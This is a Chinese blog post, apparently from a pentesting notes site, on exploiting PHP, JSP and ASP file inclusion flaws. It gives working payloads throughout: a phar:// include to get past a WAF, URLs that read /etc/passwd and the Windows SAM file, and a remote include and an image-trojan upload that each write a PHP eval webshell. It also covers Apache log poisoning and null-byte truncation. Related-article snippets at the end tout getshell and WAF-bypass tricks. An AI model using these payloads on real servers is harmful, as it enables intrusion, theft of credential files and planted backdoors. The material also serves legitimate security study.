`

文件包含漏洞(绕过姿势)

阅读更多

文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。

特殊姿势

  利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。

利用过程

新建shell.php代码内容:

1
2
3
<?php
include 'phar://test.rar/test.txt';
?>

 

新建test.txt里的内容:

1
2
3
<?php
phpinfo();
?>

 

  压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。

亲测有效

在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。

shell.php内容如下:

test.txt内容如下:

访问shell.php:

参考:http://bbs.pediy.com/thread-216191.htm

php文件包含漏洞

PHP中的文件包含分为本地包含与远程包含。

本地包含

新建一个phpinfo.txt,然后新建一个shell.php,写入:

1
2
3
<?php
Include("phpinfo.txt");
?>

 

  访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

远程包含

前提:需要开启allow_url_fopen,默认关闭。
新建php.txt:

1
2
3
<?php
echo "hello world";
?>

 

新建index.php:

1
2
3
<?php
Include($_GET['page']);
?>

 

访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

文件包含利用

读取敏感信息

如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:

1
2
3
4
5
c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件

 

LINUX:

1
2
3
4
5
/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/httpd/conf/http.conf apache配置文件
/etc/my.cnf mysql配置文件

 

远程包含shell

test.txt文件,可以保存在远程服务器上,内容如下:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>

 

  如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:

1
<?php eval($_POST[nmask]);?>

 

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马a.jpg,内容为:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

 

访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

本地包含配合apache日志拿shell

  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

1
2
3
<?php
Include $_GET['page'].".php"
?>

 

新建1.jpg:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

 

  这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00

jsp文件包含漏洞

include

1
2
3
<%@ include file="head.jsp"%>
<%@ include file="body.jsp"%>
<%@ include file="tail.jsp"%>

jsp:include

1
2
3
<jsp:include page="head.jsp"/>
<jsp:include page="body.jsp"/>
<jsp:include page="tail.jsp”/>

采用JSTL

1
<c:import url="http://thief.one/1.jsp">

说明

(1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。
(2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。

asp文件包含漏洞

asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:

1
<!--#include file="1.asp" -->

 

aspx文件包含漏洞

aspx文件包含与asp一样,语法如下:

1
<!--#include file="top.aspx" -->
分享到:
评论

相关推荐

    GetShell的姿势总结1

    在具体操作中,有多种绕过防护的方法,如利用特殊文件后缀、Windows/Linux文件解析特性、Apache的文件解析漏洞、00截断技术、文件内容检测的规避等。此外,还可以利用CMS或框架的已知文件上传漏洞,例如禅道后台的...

    CTF Web各种题目的解题姿势

    课时2:SSRF限制绕过策略13'07 课时3:SSRF中可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-...

    第07篇:Bypass 360主机卫士SQL注入防御(多姿势)1

    通过发送大包,如包含大量重复的字符,可以绕过检测,例如: ``` POST /test.php Content-Type: application/x-www-form-urlencoded id=1 and (select 1)=(Select0...

    第四篇:Bypass 360主机卫士SQL注入防御(多姿势)1

    通过提交超过该限制的参数数量,可以绕过防护。测试发现,当提交的参数超过97个时,可以进行SQL注入。攻击者可以通过构造多个`id`参数,并在末尾附加SQL注入语句来实现这一目的。 这些Bypass策略展示了WAF(Web应用...

    PHP突破disable_functions常用姿势以及使用Fuzz挖掘含内部系统调用的函数1

    本文将探讨几种常见的绕过`disable_functions`的方法,并介绍如何利用`Fuzz`技术发现包含内部系统调用的函数。 首先,我们知道`disable_functions`是基于黑名单机制,因此如果配置不完整,仍可能存在未被禁用的危险...

    031-关于Flask SSTI,解锁你不知道的新姿势.pdf

    SSTI攻击的关键在于利用模板引擎的安全漏洞,通过恶意构造的输入数据,绕过模板引擎的限制,执行未经授权的操作。 Jinja2是Flask默认的模板引擎,它支持三种语法:控制结构、变量取值和注释。控制结构使用{% %}语法...

Global site tag (gtag.js) - Google Analytics